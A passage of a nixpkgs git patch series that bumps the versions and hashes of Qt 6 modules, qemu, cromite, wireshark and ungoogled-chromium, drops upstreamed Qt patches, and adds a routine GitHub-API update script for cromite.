-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtserialport-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0m5rhr07mq2ifysymskhnql4dw8cnll4jq2ipzxmhgkbrbsn5rzv";
-      name = "qtserialport-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtserialport-everywhere-src-6.9.1.tar.xz";
+      sha256 = "047z7vchc01rki445i7qh5mqy3xh0i6ww1l34s4swx0c719fv3w0";
+      name = "qtserialport-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtshadertools = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtshadertools-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1fzlsr19c9indwmr56lbhd2f7vmxnlzsfv1z2qxy5pn338l40v4i";
-      name = "qtshadertools-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtshadertools-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0x2b7dpkgdngpbv1g5qc6ffa4lwq4d8g3r3vdi5zp1q8rr6d47jf";
+      name = "qtshadertools-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtspeech = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtspeech-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0wf971cqr6zvb6l2dax10l7kjl9qil8ssds4rsipfgblf66bd0d9";
-      name = "qtspeech-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtspeech-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0a0lgjxkdfisczkaw7njs87a9qffigygn311chgqzvz2ragza1v8";
+      name = "qtspeech-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtsvg = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtsvg-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1z0mj8avfab6wzha337cd1cjf3ax5w6112zmiaj5x4wm1j9rsdgc";
-      name = "qtsvg-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtsvg-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1mdvk8y7dfi8ibv36ccvfbmnsvm2y6dm27l6v6pz47w9zpjmvz1d";
+      name = "qtsvg-everywhere-src-6.9.1.tar.xz";
     };
   };
   qttools = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qttools-everywhere-src-6.9.0.tar.xz";
-      sha256 = "196955jjwrpjv43qdv6qx9yjfi1ajwjni4hs80i914rzrj4mar7s";
-      name = "qttools-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qttools-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0k2b7z7g41pkq0bccvmwpalmn2ryhl0ccd4zv4zh9zfcyiiabi4h";
+      name = "qttools-everywhere-src-6.9.1.tar.xz";
     };
   };
   qttranslations = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qttranslations-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0gwccq2gd07iz1z9gpzwxfxr6fb8hdwh20r4dxavriy7bzpq2m8x";
-      name = "qttranslations-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qttranslations-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0hd707fpsij9bzl143615a4ags6y0nkwdplzlzmwsizlanjs2qcp";
+      name = "qttranslations-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtvirtualkeyboard = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtvirtualkeyboard-everywhere-src-6.9.0.tar.xz";
-      sha256 = "09wisql4nsvz01rzrjlri9k4a83q2mi2ckx7lqpc836mppzqjm5q";
-      name = "qtvirtualkeyboard-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtvirtualkeyboard-everywhere-src-6.9.1.tar.xz";
+      sha256 = "07r87pg50drrv2z3b6ldlrvz8261xmq6jfcja9wg0dmqplw9l1c0";
+      name = "qtvirtualkeyboard-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtwayland = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtwayland-everywhere-src-6.9.0.tar.xz";
-      sha256 = "018qr4q32w0c99vnyh433q4nym1ybv24jshf2fyh7dadn3y1cd2h";
-      name = "qtwayland-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtwayland-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0gifjc4l85ilr1gb0p9dy2s2aypskjp8c7wskfqyp03id07fl8bx";
+      name = "qtwayland-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtwebchannel = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtwebchannel-everywhere-src-6.9.0.tar.xz";
-      sha256 = "1vmzzb823apg67mr9za85i5jw86ipk38091kbyapsyp1vnf9ll8h";
-      name = "qtwebchannel-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtwebchannel-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1h7rzjsim2rxdw25sks4yz8r03llr6q8kcc081n43z0a47ch3d0r";
+      name = "qtwebchannel-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtwebengine = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtwebengine-everywhere-src-6.9.0.tar.xz";
-      sha256 = "17kqi6vh1gz3qkq9i6ywzx3bfnhhja7l8a5jkmr5ivc5bv4d2crb";
-      name = "qtwebengine-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtwebengine-everywhere-src-6.9.1.tar.xz";
+      sha256 = "0v62j4zzya6yf91630ii6y4m62md69zfs1r21xi6v3rl5gigszbq";
+      name = "qtwebengine-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtwebsockets = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtwebsockets-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0h29a77599653npki41hcgpmyya2mjfrvrnm92sf197kmiydsfkb";
-      name = "qtwebsockets-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtwebsockets-everywhere-src-6.9.1.tar.xz";
+      sha256 = "1xa8yx1v5xk1zn2wc4gssali0k2l0yn6w2ywxsccq0kz7f38rglq";
+      name = "qtwebsockets-everywhere-src-6.9.1.tar.xz";
     };
   };
   qtwebview = {
-    version = "6.9.0";
+    version = "6.9.1";
     src = fetchurl {
-      url = "${mirror}/official_releases/qt/6.9/6.9.0/submodules/qtwebview-everywhere-src-6.9.0.tar.xz";
-      sha256 = "0szdsx10vhj1ivhnqviq8qv1ji1mzhzpz22svz2c64pbih70f92v";
-      name = "qtwebview-everywhere-src-6.9.0.tar.xz";
+      url = "${mirror}/official_releases/qt/6.9/6.9.1/submodules/qtwebview-everywhere-src-6.9.1.tar.xz";
+      sha256 = "19ar1pmf9q39mqvnjkfrxrblgl1vn65zigj194n098ppp3xx96n2";
+      name = "qtwebview-everywhere-src-6.9.1.tar.xz";
     };
   };
 }

From 32a01896126c8b7afd2436462047ecc71163cec0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 12:18:53 -0700
Subject: [PATCH 0878/4511] qt6Packages.qtmqtt: 6.9.0 -> 6.9.1

(cherry picked from commit 373cd32e7308587bb1c747f4d6b7ecbda3fb7088)
---
 pkgs/development/libraries/qt-6/modules/qtmqtt.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtmqtt.nix b/pkgs/development/libraries/qt-6/modules/qtmqtt.nix
index 3e0e5d36b628..0332feb6c04c 100644
--- a/pkgs/development/libraries/qt-6/modules/qtmqtt.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtmqtt.nix
@@ -6,13 +6,13 @@
 
 qtModule rec {
   pname = "qtmqtt";
-  version = "6.9.0";
+  version = "6.9.1";
 
   src = fetchFromGitHub {
     owner = "qt";
     repo = "qtmqtt";
     tag = "v${version}";
-    hash = "sha256-kBm173AJYVjAH2ZH6xTMyqEcw0GB1XkbxKc3vYriMvU=";
+    hash = "sha256-nyMsl07pL6mNpg1p7W3cn2NXGmEbm+y9tgMexp6+xYI=";
   };
 
   propagatedBuildInputs = [ qtbase ];

From 9ffaa6a48f3307b99bb5ee7dc30b7259e49833ba Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Wed, 11 Jun 2025 21:05:48 +0100
Subject: [PATCH 0879/4511] qemu: 9.2.3 -> 9.2.4

Changes: https://lists.nongnu.org/archive/html/qemu-devel/2025-05/msg06678.html
---
 pkgs/applications/virtualization/qemu/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/virtualization/qemu/default.nix b/pkgs/applications/virtualization/qemu/default.nix
index 8012b12d2b63..079718c3f587 100644
--- a/pkgs/applications/virtualization/qemu/default.nix
+++ b/pkgs/applications/virtualization/qemu/default.nix
@@ -144,11 +144,11 @@ stdenv.mkDerivation (finalAttrs: {
     + lib.optionalString nixosTestRunner "-for-vm-tests"
     + lib.optionalString toolsOnly "-utils"
     + lib.optionalString userOnly "-user";
-  version = "9.2.3";
+  version = "9.2.4";
 
   src = fetchurl {
     url = "https://download.qemu.org/qemu-${finalAttrs.version}.tar.xz";
-    hash = "sha256-uu1JQnDDYb9pgWrMhFEuPv7XHHoj92aRZCuAvD3naT4=";
+    hash = "sha256-88wcTqv9soghisPjN2Pb6eJ22LyJC4Z6IzXVjeLd05o=";
   };
 
   depsBuildBuild =

From 3287ead883c1eab567ddcaa3034b80ab0fbc6f72 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Thu, 29 May 2025 04:07:53 +0800
Subject: [PATCH 0880/4511] cromite: 135.0.7049.100 -> 137.0.7151.44

(cherry picked from commit c4741b2d5e5dc84ba602bf3a4d994030b9424987)
---
 pkgs/by-name/cr/cromite/package.nix | 15 +++++++++------
 pkgs/by-name/cr/cromite/update.sh   | 18 ++++++++++++++++++
 2 files changed, 27 insertions(+), 6 deletions(-)
 create mode 100755 pkgs/by-name/cr/cromite/update.sh

diff --git a/pkgs/by-name/cr/cromite/package.nix b/pkgs/by-name/cr/cromite/package.nix
index 118bee32b0a0..93af344c49bb 100644
--- a/pkgs/by-name/cr/cromite/package.nix
+++ b/pkgs/by-name/cr/cromite/package.nix
@@ -2,7 +2,7 @@
   lib,
   stdenv,
   fetchurl,
-  makeBinaryWrapper,
+  makeWrapper,
   patchelf,
   copyDesktopItems,
   makeDesktopItem,
@@ -166,15 +166,15 @@ let
       qt6.qtbase
       qt6.qtwayland
     ];
-  commit = "0ffdb845a6a3308cbd9826bb78269d1d05cfb8aa";
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "cromite";
-  version = "135.0.7049.100";
+  version = "137.0.7151.44";
+  commit = "1abdac0aff0916b1e4a4bd52f1896eec00834262";
 
   src = fetchurl {
-    url = "https://github.com/uazo/cromite/releases/download/v${finalAttrs.version}-${commit}/chrome-lin64.tar.gz";
-    hash = "sha256-bB6CPqgwT1p7aXIKauOrRhG4dhCQ9tyO+HHRrkbrsPQ=";
+    url = "https://github.com/uazo/cromite/releases/download/v${finalAttrs.version}-${finalAttrs.commit}/chrome-lin64.tar.gz";
+    hash = "sha256-33GS4uD3RJHy9M0S5TRB6kRb1SZR+ABLyOR1oeVLQto=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly
@@ -182,7 +182,7 @@ stdenv.mkDerivation (finalAttrs: {
   strictDeps = false;
 
   nativeBuildInputs = [
-    makeBinaryWrapper
+    makeWrapper
     patchelf
     copyDesktopItems
   ];
@@ -234,6 +234,7 @@ stdenv.mkDerivation (finalAttrs: {
       --prefix XDG_DATA_DIRS   : "$XDG_ICON_DIRS:$GSETTINGS_SCHEMAS_PATH:${addDriverRunpath.driverLink}/share" \
       --set CHROME_WRAPPER  "cromite" \
       --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true --wayland-text-input-version=3}}" \
+      --add-flags "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" \
       --add-flags ${lib.escapeShellArg commandLineArgs}
 
     # Make sure that libGL and libvulkan are found by ANGLE libGLESv2.so
@@ -247,6 +248,8 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postInstall
   '';
 
+  passthru.updateScript = ./update.sh;
+
   meta = {
     changelog = "https://github.com/uazo/cromite/releases";
     description = "Bromite fork with ad blocking and privacy enhancements";
diff --git a/pkgs/by-name/cr/cromite/update.sh b/pkgs/by-name/cr/cromite/update.sh
new file mode 100755
index 000000000000..5e604bc242db
--- /dev/null
+++ b/pkgs/by-name/cr/cromite/update.sh
@@ -0,0 +1,18 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -I nixpkgs=./. -i bash -p curl gnused jq nix bash coreutils nix-update common-updater-scripts
+
+set -eou pipefail
+
+latestTag=$(curl ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} -sL https://api.github.com/repos/uazo/cromite/releases/latest | jq --raw-output .tag_name | sed 's/^v//')
+latestVersion="${latestTag%-*}"
+commit="${latestTag#*-}"
+
+currentVersion=$(nix-instantiate --eval -E "with import ./. {}; cromite.version or (lib.getVersion cromite)" | tr -d '"')
+
+if [[ "$currentVersion" == "$latestVersion" ]]; then
+    echo "package is up-to-date: $currentVersion"
+    exit 0
+fi
+
+update-source-version cromite $commit --version-key=commit || true
+nix-update cromite --version $latestVersion

From 8a7822272cf05125c13f7324c7b1e8287f309a43 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 09:41:48 +0000
Subject: [PATCH 0881/4511] cromite: 137.0.7151.44 -> 137.0.7151.56

(cherry picked from commit e4470dcd059e93091e19895b56821f8cc4b22cbb)
---
 pkgs/by-name/cr/cromite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/cr/cromite/package.nix b/pkgs/by-name/cr/cromite/package.nix
index 93af344c49bb..06583fdd9558 100644
--- a/pkgs/by-name/cr/cromite/package.nix
+++ b/pkgs/by-name/cr/cromite/package.nix
@@ -169,12 +169,12 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "cromite";
-  version = "137.0.7151.44";
-  commit = "1abdac0aff0916b1e4a4bd52f1896eec00834262";
+  version = "137.0.7151.56";
+  commit = "b4f8d96284c854cbe6448d2e30ee5a30ce3f0b82";
 
   src = fetchurl {
     url = "https://github.com/uazo/cromite/releases/download/v${finalAttrs.version}-${finalAttrs.commit}/chrome-lin64.tar.gz";
-    hash = "sha256-33GS4uD3RJHy9M0S5TRB6kRb1SZR+ABLyOR1oeVLQto=";
+    hash = "sha256-f53Xh6xvk5Z8tkg/SUZS+plO3a7Qvn6ff2Soj7Dvvqw=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 44ed88a52cebd409772c075e79c5d288a8416f48 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 12:09:14 +0000
Subject: [PATCH 0882/4511] cromite: 137.0.7151.56 -> 137.0.7151.72

(cherry picked from commit a91c10f29aa01ce3b4f28ff7eaea94d470a93ccb)
---
 pkgs/by-name/cr/cromite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/cr/cromite/package.nix b/pkgs/by-name/cr/cromite/package.nix
index 06583fdd9558..dcd2a8fc0588 100644
--- a/pkgs/by-name/cr/cromite/package.nix
+++ b/pkgs/by-name/cr/cromite/package.nix
@@ -169,12 +169,12 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "cromite";
-  version = "137.0.7151.56";
-  commit = "b4f8d96284c854cbe6448d2e30ee5a30ce3f0b82";
+  version = "137.0.7151.72";
+  commit = "4ea840397d139bcaf3298a54a80a93d135f7dac7";
 
   src = fetchurl {
     url = "https://github.com/uazo/cromite/releases/download/v${finalAttrs.version}-${finalAttrs.commit}/chrome-lin64.tar.gz";
-    hash = "sha256-f53Xh6xvk5Z8tkg/SUZS+plO3a7Qvn6ff2Soj7Dvvqw=";
+    hash = "sha256-WqOQaoboRqgYXW2tzyW3LMo5WRA8l5UWjUnfBIq6r9k=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From af804a8f711151db8ff357735436b4d00aa06c28 Mon Sep 17 00:00:00 2001
From: DarkOnion0 <darkonion0@clapot.org>
Date: Tue, 27 May 2025 10:40:57 +0200
Subject: [PATCH 0883/4511] drawio: ensure node_modules is created

(cherry picked from commit b30db924b81d2bfe1b4e67c616583d4cbab3de1a)
---
 pkgs/applications/graphics/drawio/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/applications/graphics/drawio/default.nix b/pkgs/applications/graphics/drawio/default.nix
index d237920dabb8..5f697cf7ca62 100644
--- a/pkgs/applications/graphics/drawio/default.nix
+++ b/pkgs/applications/graphics/drawio/default.nix
@@ -57,6 +57,9 @@ stdenv.mkDerivation rec {
     export HOME="$TMPDIR"
     yarn config --offline set yarn-offline-mirror "$offlineCache"
     fixup-yarn-lock yarn.lock
+    # Ensure that the node_modules folder is created by yarn install.
+    # See https://github.com/yarnpkg/yarn/issues/5500#issuecomment-1221456246
+    echo "nodeLinker: node-modules" > .yarnrc.yml
     yarn install --offline --frozen-lockfile --ignore-platform --ignore-scripts --no-progress --non-interactive
     patchShebangs node_modules/
 

From a797b9038f738ec8aa4721789c61f2a7e01fe4a1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 13:02:36 -0700
Subject: [PATCH 0884/4511] qt6Packages.qtdeclarative: drop upstreamed patches

(cherry picked from commit 0bc3b6ac9f43acaa61e6dc3a6c3e9049b396ddaf)
---
 .../qt-6/modules/qtdeclarative/default.nix         | 14 --------------
 1 file changed, 14 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
index f28a180b5876..33361d867a53 100644
--- a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
@@ -38,20 +38,6 @@ qtModule {
     })
     # add version specific QML import path
     ./use-versioned-import-path.patch
-
-    # The build attempts to sign qmltestrunner, which may already be signed, causing it to fail unless forced.
-    # FIXME: remove for 6.9.1
-    (fetchpatch2 {
-      url = "https://invent.kde.org/qt/qt/qtdeclarative/-/commit/8effbbcefd8cae27cd5da07b4ffe3aa86dad83bf.diff";
-      hash = "sha256-wKrKXdr1ddshpRVIZZ/dsn87wjPXSaoUvXT9edlPtzA=";
-    })
-
-    # Backport patch to fix qmlsc crash on "if + for"
-    # FIXME: remove for 6.9.1
-    (fetchpatch2 {
-      url = "https://github.com/qt/qtdeclarative/commit/d1aa2e8466bab73c3e4d120356238b482b55f02a.patch?full_index=1";
-      hash = "sha256-8W1xpULqESP81S4UbQugoU/D6KFy7DoTbJ3xfK9Q5PI=";
-    })
   ];
 
   preConfigure =

From d0e4c12e6c18d4d8b1e56f19a1fb4bbe48d5d4f5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 5 Jun 2025 02:27:12 +0000
Subject: [PATCH 0885/4511] wireshark: 4.4.6 -> 4.4.7

(cherry picked from commit 98be0649f24702e2f527303ee637868b1f3b0388)
---
 pkgs/applications/networking/sniffers/wireshark/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/sniffers/wireshark/default.nix b/pkgs/applications/networking/sniffers/wireshark/default.nix
index 575151378b5f..813410fe91ea 100644
--- a/pkgs/applications/networking/sniffers/wireshark/default.nix
+++ b/pkgs/applications/networking/sniffers/wireshark/default.nix
@@ -56,7 +56,7 @@ assert withQt -> qt6 != null;
 
 stdenv.mkDerivation rec {
   pname = "wireshark-${if withQt then "qt" else "cli"}";
-  version = "4.4.6";
+  version = "4.4.7";
 
   outputs = [
     "out"
@@ -67,7 +67,7 @@ stdenv.mkDerivation rec {
     repo = "wireshark";
     owner = "wireshark";
     rev = "v${version}";
-    hash = "sha256-dzVlHxrXVCSMP4ZfyUq4N9UvL941C50Zto6Mb78LnfQ=";
+    hash = "sha256-9h25vfjw8QIrRZ6APTsvhW4D5O6fkhkiy/1bj7hGwwY=";
   };
 
   patches = [

From 17c95699b9d5d7f0f54d8290afca21e60659cf23 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 14:37:12 -0700
Subject: [PATCH 0886/4511] qt6Packages.qtwayland: drop upstreamed patch

(cherry picked from commit 78a125c8827b943ea34ce85dee80b511ca8f8c20)
---
 pkgs/development/libraries/qt-6/modules/qtwayland.nix | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtwayland.nix b/pkgs/development/libraries/qt-6/modules/qtwayland.nix
index ad5fdd6dfea9..ae34492453c5 100644
--- a/pkgs/development/libraries/qt-6/modules/qtwayland.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtwayland.nix
@@ -9,21 +9,11 @@
   wayland-scanner,
   pkg-config,
   libdrm,
-  fetchpatch,
 }:
 
 qtModule {
   pname = "qtwayland";
 
-  # Backport fix for popups not rendering properly
-  # FIXME: remove in 6.9.1
-  patches = [
-    (fetchpatch {
-      url = "https://invent.kde.org/qt/qt/qtwayland/-/commit/e4556c59f0c8250da7c16759432b2ac0a5ac9d9f.patch";
-      hash = "sha256-wRNXBwecuULn5MD87HP20uSuxHiuQslKp20DIuCGheM=";
-    })
-  ];
-
   # wayland-scanner needs to be propagated as both build
   # (for the wayland-scanner binary) and host (for the
   # actual wayland.xml protocol definition)

From 20b14b4e6696a930dc45dddd039a0fc3a777b8a6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 14:37:52 -0700
Subject: [PATCH 0887/4511] qt6Packages.qtdeclarative: drop unused argument

(cherry picked from commit f43c0e780e881405a0bd60fb820d1289a844d2e2)
---
 .../development/libraries/qt-6/modules/qtdeclarative/default.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
index 33361d867a53..fe554c46e2a3 100644
--- a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
@@ -10,7 +10,6 @@
   lib,
   pkgsBuildBuild,
   replaceVars,
-  fetchpatch2,
 }:
 
 qtModule {

From a4bbc520930c592ede3e1de9900c279ff8274d98 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 14:38:45 -0700
Subject: [PATCH 0888/4511] qt6Packages.qtgrpc: drop upstreamed patch

(cherry picked from commit 361352db0d9d6574a3f2dc9274180833e101800b)
---
 pkgs/development/libraries/qt-6/modules/qtgrpc.nix | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtgrpc.nix b/pkgs/development/libraries/qt-6/modules/qtgrpc.nix
index 016f72f3074a..28092b27e13e 100644
--- a/pkgs/development/libraries/qt-6/modules/qtgrpc.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtgrpc.nix
@@ -1,6 +1,5 @@
 {
   qtModule,
-  fetchpatch,
   qtbase,
   qtdeclarative,
   protobuf,
@@ -10,14 +9,6 @@
 qtModule {
   pname = "qtgrpc";
 
-  patches = [
-    (fetchpatch {
-      name = "new-protobuf.patch";
-      url = "https://github.com/qt/qtgrpc/commit/514769d1bd595d0e54bbe34c0bd167636d4825dc.diff";
-      hash = "sha256-juNSijNlR6PHxiEVx72vMBSvcWYfR/T/yvpxAF+ZAKE=";
-    })
-  ];
-
   propagatedBuildInputs = [
     qtbase
     qtdeclarative

From 7166833ed2f7e13e9c33d8b83a0598a25901153c Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Wed, 11 Jun 2025 22:11:45 +0200
Subject: [PATCH 0889/4511] ungoogled-chromium: 137.0.7151.68-1 ->
 137.0.7151.103-1

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_10.html

This update includes 2 security fixes.

CVEs:
CVE-2025-5958 CVE-2025-5959

(cherry picked from commit c43e25ebf3c82fe43844cf8f62d9f572dad1fbf8)
---
 .../networking/browsers/chromium/info.json     | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index fdd61d56554e..f8f9d7253c9f 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -797,7 +797,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "137.0.7151.68",
+    "version": "137.0.7151.103",
     "deps": {
       "depot_tools": {
         "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
@@ -808,16 +808,16 @@
         "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
       },
       "ungoogled-patches": {
-        "rev": "137.0.7151.68-1",
-        "hash": "sha256-oPYNvnBuBKBb1SRNQkQeApmPVDoV+bFVjCh9HKa4A8o="
+        "rev": "137.0.7151.103-1",
+        "hash": "sha256-KMzO25yruwrT7rpqbQ56FMGxkVZOwDSsvFqCZbUUM5Y="
       },
       "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "2989ffee9373ea8b8623bd98b3cb350a8e95cadc",
-        "hash": "sha256-lPmmXVCNUa9of8d52hUejImPSEfOz7v7PlovZS4cfIE=",
+        "rev": "3dcc738117a3439068c9773ccd31f9858923fc4a",
+        "hash": "sha256-MIEjHLpfKIBiTFh+bO+NUf6iDpizTP9yfXQqbHfiDwo=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1037,8 +1037,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "fdc8ca697612f90e7ddf2621dffbc43733d2d238",
-        "hash": "sha256-jKYldgZJwJeTQavmcM9enTdGN8+zt/EG7K1E9wQYIBA="
+        "rev": "e423961606946be24c8c1ec0d1ec91511efbabc5",
+        "hash": "sha256-MhooXuF6aw+ixPzvVCBl+6T+79cTReCYx86qqXAZ6bg="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1587,8 +1587,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "e398f9bf6d5c8a768ab736f46146d7349cf31547",
-        "hash": "sha256-cJx8IgUB3UA3jEPvb5aDvHLYmAnHydK1qR11q6Y5PnA="
+        "rev": "41f53aba7095888c959932bd8f2ee8b4e16af223",
+        "hash": "sha256-ICrdvHA6fe2CUphRgPdlofazr0L+NFypWDNOI5e5QIM="
       }
     }
   }

From eee4dd6ee40744212c1fb8079d8f3b3769d81a20 Mon Sep 17 00:00:00 2001
From: thtrf <r3769.tv@gmail.com>
Date: Sat, 24 May 2025 16:41:08 +0200
Subject: [PATCH 0890/4511] linuxPackages.rtl8852bu: unstable-2024-05-25 ->
 unstable-2025-05-18; unbreak

(cherry picked from commit 3c05d8b1eb3439d0843f35688febf17a7f34556b)
---
 pkgs/os-specific/linux/rtl8852bu/default.nix | 25 +++++++++++++-------
 1 file changed, 17 insertions(+), 8 deletions(-)

diff --git a/pkgs/os-specific/linux/rtl8852bu/default.nix b/pkgs/os-specific/linux/rtl8852bu/default.nix
index db6c419a3541..6d94bb1bc191 100644
--- a/pkgs/os-specific/linux/rtl8852bu/default.nix
+++ b/pkgs/os-specific/linux/rtl8852bu/default.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation rec {
   pname = "rtl8852bu";
